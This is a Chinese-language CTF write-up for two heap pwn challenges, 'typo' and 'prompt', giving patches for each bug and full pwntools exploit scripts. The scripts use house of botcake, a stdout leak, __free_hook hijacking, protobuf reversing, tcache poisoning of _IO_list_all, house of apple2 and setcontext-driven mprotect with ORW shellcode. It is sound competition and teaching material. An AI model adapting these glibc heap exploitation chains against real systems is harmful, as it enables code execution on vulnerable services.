typo
一道2.31的堆题
漏洞点位于edit功能,snprintf函数把用户输入作为format,导致了堆溢出以及格式化字符串漏洞
fix
从程序的代码不难看出分配出来的堆,前面八个字节是堆的size,后面的空间才是数据域
这里原意是修改heap的size,但是用错了函数,我们修改最大读入的size字节数为8,将snprintf函数nop掉修改为直接给heap->size赋值
这样即避免了堆溢出也不存在格式化字符串漏洞了
break
这里我用的是堆溢出的方法打的
def add(idx, size):
sla(">> ", str(1))
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
sla(">> ", str(2))
sla("Index: ", str(idx))
def edit(idx, pay, cont):
sla(">> ", str(3))
sla("Index: ", str(idx))
sla("size of content: ", pay)
sa("you want to say: ", cont)
def quit():
sla(">> ", str(4))
程序没有show功能,可以利用_IO_FILE来进行leak
首先我们利用chunk overlapping达到类似UAF的功能。即利用溢出覆写chunk的size域来实现堆块重叠
for i in range(12):
add(i, 0x80)
payload = b"%136c"+ p64(0x511)
edit(0, payload, "a")
free(1)
for i in range(12, 12+9):
add(i, 0x80)
效果如下图
接着我们打house of hotcake,构造出unsortedbin和tcachebin重叠
# chunk 20和chunk 9实际上是同一个chunk
for i in range(12, 12+7):
free(i)
free(20)
free(19)
add(1, 0x80)
free(9)
接下来通过分割unsortedbin使libc地址覆盖tcachebin的fd
add(12, 0x40)
add(13, 0x30)
通过溢出写heap 13的size,然后再溢出修改fd的低两字节,使其指向&_IO_2_1_stdout_ - 0x10
的位置,因为低三位是固定的,所以这里爆破成功的概率是1/16
edit(12, b'A'*0x50+p64(0x420), "aaaa")
edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
然后修改_IO_2_1_stdout_
结构体,泄露libc地址
add(14, 0x80)
add(15, 0x80)
edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
ru(p64(0))
libc.address = uu64() - 0x1ec980
最后劫持__free_hook
为system函数,getshell
edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
free(14)
edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
add(16, 0x80)
add(17, 0x80)
edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
free(11)
ia()
exp
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc-2.31.so"
elf = ELF(file, False)
libc = ELF(libc, False)
def add(idx, size):
sla(">> ", str(1))
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
sla(">> ", str(2))
sla("Index: ", str(idx))
def edit(idx, pay, cont):
sla(">> ", str(3))
sla("Index: ", str(idx))
sla("size of content: ", pay)
sa("you want to say: ", cont)
def quit():
sla(">> ", str(4))
def pwn():
global p
p = process("./pwn")
for i in range(12):
add(i, 0x80)
payload = b"%136c"+ p64(0x511)
edit(0, payload, "a")
stdout_offset = libc.sym["_IO_2_1_stdout_"] & 0xffff # 0xd6a0
free(1)
for i in range(12, 12+9):
add(i, 0x80)
for i in range(12, 12+7):
free(i)
free(20)
free(19)
add(1, 0x80)
free(9)
add(12, 0x40)
add(13, 0x30)
edit(12, b'A'*0x50+p64(0x420), "aaaa")
edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
add(14, 0x80)
add(15, 0x80)
edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
ru(p64(0))
libc.address = uu64() - 0x1ec980
edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
free(14)
edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
add(16, 0x80)
add(17, 0x80)
edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
lgn("libc_base", libc.address)
#debug("b free\n b malloc")
#pause()
edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
free(11)
ia()
pwn()
prompt
proto文件还原
在我之前有篇文章有讲如何根据二进制C程序还原proto文件,这里再讲一次
首先IDA里面搜索常数0x28AAEEF9
,这是Protobuf message描述符的magic number
可以知道该message的名称是HeapPayload
,我们能在上面找到它的字段描述符
我们导入下面结构体到IDA structures,右键将unk_4B20转为结构体ProtobufCFieldDescriptor
一共是四个字段描述符
enum ProtobufCLabel
{
PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.
PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not
///< more than one).
PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a
///< well-formed message. The order of the repeated values will be
///< preserved.
PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is
///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};
enum ProtobufCType
{
PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32
PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32
PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)
PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64
PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64
PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)
PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32
PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)
PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64
PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)
PROTOBUF_C_TYPE_FLOAT = 0xA, ///< float
PROTOBUF_C_TYPE_DOUBLE = 0xB, ///< double
PROTOBUF_C_TYPE_BOOL = 0xC, ///< boolean
PROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated type
PROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII string
PROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequence
PROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
};
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;
/** Tag value of the field as given in the .proto file. */
uint32_t id;
/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;
/** The type of the field. */
ProtobufCType type;
/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;
/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;
const void *descriptor; /* for MESSAGE and ENUM types */
/** The default value for this field, if defined. May be NULL. */
const void *default_value;
uint32_t flags;
/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
根据还原出来的字段描述符,我们可以得到如下proto文件(因为存在NONE标签,所以是proto3协议)
syntax = "proto3";
message HeapPayload {
int32 option = 1;
repeated int32 chunksize = 2;
repeated int32 heap_chunks_id = 3;
bytes heap_content = 4;
}
为了方便之后的逆向,我们输入protoc-c --c_out=. heap.proto
来编译该proto文件,然后在heap.pb-c.h
文件找到该message的C结构体(如下)并导入IDA
struct HeapPayload
{
ProtobufCMessage base;
int32_t option;
size_t n_chunksize;
int32_t *chunksize;
size_t n_heap_chunks_id;
int32_t *heap_chunks_id;
ProtobufCBinaryData heap_content;
};
struct ProtobufCBinaryData { // 这个结构体在protobuf-c项目里面有定义
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};
至此,逆向protobuf部分的工作就完成了。可以看到还原的代码可读性已经不错了
fix
漏洞点:
edit函数没有对size进行判断导致堆溢出(红框处改成v4 <= sizes[v3]
逻辑才合理)
但我的修复方案是直接把memcpy函数nop掉!
break
2.39的堆题,保护全开并且开了沙箱禁用execve调用
首先看程序读取输入的部分,这里有个细节:程序并不是直接读取原始的protobuf message,而是先读4个字节(message长度),再分配一段内存给message,之后unpack解析,解析完之后释放message
所以我们发送的数据应该是p32(长度)+序列化后的protobuf流
(如下)
def add(size, cont = b'a'):
heap = heap_pb2.HeapPayload()
heap.option = 1
heap.chunksize.append(size)
heap.heap_content = cont
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)
题目的漏洞点很明显啊,edit白给的堆溢出。但是题目的堆风水有点乱,除一开始沙箱初始化外,protobuf_c_message_unpack和protobuf_c_message_free_unpacked这两个函数也会影响堆风水
不过问题不大,我的应对方法就是边调边打
首先tcache泄露堆地址
add(0x120)
add(0x120)
delete(1)
edit(0, 0x130, b'A'*0x130)
show(0)
ru("A"*0x130)
heapbase = (uheap() << 12) - 0x7000
然后申请一个大一点的堆块触发malloc_consolidate
,然后利用相邻的smallbin泄露libc地址
add(0x420) # 1
edit(1, 0x430, b'A'*0x430)
show(1)
ru(b'A'*0x430)
libc.address = uu64() - 0x203dc0
之后在堆上伪造IO结构体,tcachebin attck修改_IO_list_all
为伪造的IO_FILE来控制程序流
add(0x220, f_file) # 2
add(0x220, payload)
add(0x220)
add(0x220)
add(0x220)
add(0x220)
delete(6)
delete(5)
edit(4, 0x238, cyclic(0x220) + flat(0, 0x231, ((heapbase + 0x1000) >> 12) ^ libc.sym["_IO_list_all"]))
但要注意的是add分配堆块时,会先调用memset将数据写零,因为我申请的大小是0x220,会导致把与&_IO_list_all
相邻的_IO_2_1_stdout_
也覆盖,所以还要伪造一个合法的_IO_2_1_stdout_
结构,否则在调用printf的时候程序会崩溃
这里打的是house of apple2
中_IO_wdefault_xsgetn
那条利用链,具体可以看roderick师傅的文章
House of Apple 一种新的glibc中IO攻击方法 (2) - roderick - record and learn!
在_IO_switch_to_wget_mode
处劫持rdx寄存器然后执行setcontext+61
执行mprotect使heap段可执行,然后运行ORW shellcode
exp
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
import heap_pb2
p = process("./pwn")
elf = ELF(file, False)
libc = ELF(elf.libc.path, False)
def add(size, cont = b'a'):
heap = heap_pb2.HeapPayload()
heap.option = 1
heap.chunksize.append(size)
heap.heap_content = cont
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)
def delete(idx):
heap = heap_pb2.HeapPayload()
heap.option = 2
heap.heap_chunks_id.append(idx)
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)
def edit(idx, size, cont):
heap = heap_pb2.HeapPayload()
heap.option = 3
heap.chunksize.append(size)
heap.heap_chunks_id.append(idx)
heap.heap_content = cont
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)
def show(idx):
heap = heap_pb2.HeapPayload()
heap.option = 4
heap.heap_chunks_id.append(idx)
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)
def quit():
heap = heap_pb2.HeapPayload()
heap.option = 5
buf = heap.SerializeToString()
payload = p32(len(buf)) + buf
sa("prompt >> ", payload)
add(0x120)
add(0x120)
delete(1)
edit(0, 0x130, b'A'*0x130)
show(0)
ru("A"*0x130)
heapbase = (uheap() << 12) - 0x7000
add(0x420) # 1
edit(1, 0x430, b'A'*0x430)
show(1)
ru(b'A'*0x430)
libc.address = uu64() - 0x203dc0
edit(1, 0x430, b'A'*0x420 + p64(0) + p64(0x2b1))
file_addr = heapbase + 0x1570
IO_wide_data_addr = file_addr + 0x10
wide_vtable_addr = (file_addr + 0xd8 + 0x10) - 0x18
frame_addr = heapbase+0x2720
f_file=b""
f_file+=p64(0xfbad1880)
f_file+=p64(1) #_IO_read_ptr
f_file+=p64(0) #_IO_read_end
f_file+=p64(0) #_IO_read_base
f_file+=p64(0) #_IO_write_base
f_file+=p64(0) #_IO_write_ptr
f_file+=p64(frame_addr) #_IO_write_end
f_file+=p64(0) #_IO_buf_base
f_file+=p64(0) #_IO_buf_end usually _IO_buf_base+1
f_file+=p64(0)*4 #from _IO_save_base to _markers
f_file+=p64(0) #file chain ptr
f_file+=p32(2) #_fileno for stderr is 2
f_file+=p32(0) #_flags2 usually 0
f_file+=p64(0xffffffffffffffff) #_old_offset -1
f_file+=p16(0) #_cur_column
f_file+=b"\x00" #_vtable_offset
f_file+=b"\n" #_shortbuf[1]
f_file+=p32(0) #padding
f_file+=p64(libc.address + 0x205710) #_IO_stdfile_1_lock
f_file+=p64(0xffffffffffffffff) #_offset, -1
f_file+=p64(0) #_codecvt,usually 0
f_file+=p64(IO_wide_data_addr)#_IO_wide_data_1
f_file+=p64(0)*3 #from freeres_list to __pad5
f_file+=p32(1) #_mode,usually -1
f_file+=b"\x00"*19 #_unused2
f_file=f_file.ljust(0xd8,b"\x00")
f_file+=p64(libc.address+0x202658-0x18) #
f_file+=p64(0)
f_file+=p64(libc.sym['setcontext']+61)
f_file+=p64(wide_vtable_addr)
f_file = f_file.ljust(0x100, b'\x00')
frame=SigreturnFrame()
frame.rdi=heapbase
frame.rsi=0x10000
frame.rdx=7
frame.rip=libc.sym['mprotect']
frame.rsp=frame_addr+0x100
frame=bytes(frame)
payload = frame.ljust(0x100, b'\x90') + flat(frame_addr+0x108) + asm(shellcraft.cat("/flag"))
add(0x220, f_file) # 2
add(0x220, payload)
add(0x220)
add(0x220)
add(0x220)
add(0x220)
delete(6)
delete(5)
edit(4, 0x238, cyclic(0x220) + flat(0, 0x231, ((heapbase + 0x1000) >> 12) ^ libc.sym["_IO_list_all"]))
fake_stdout = flat({
0:file_addr,
0x100: p64(0xFBAD2887)+p64(libc.sym["_IO_2_1_stdout_"]+131)*8+p64(0)*5+p32(1)+p32(0)+p64(0xffffffffffffffff)+p64(0)+p64(libc.address + 0x205710)+p64(0xffffffffffffffff)+p64(libc.address+0x2037e0)+p64(0)*3+p32(0xffffffff),
0x100+0xd8:p64(libc.sym["_IO_file_jumps"])
}, filler=b'\x00')
add(0x220, p64(file_addr))
add(0x220, fake_stdout)
log("heapbase", heapbase)
log("libcbase", libc.address)
log("frame_addr", frame_addr)
log("fake_io", file_addr)
#debug("b _IO_switch_to_wget_mode\nb *setcontext+61")
#pause()
quit()
ia()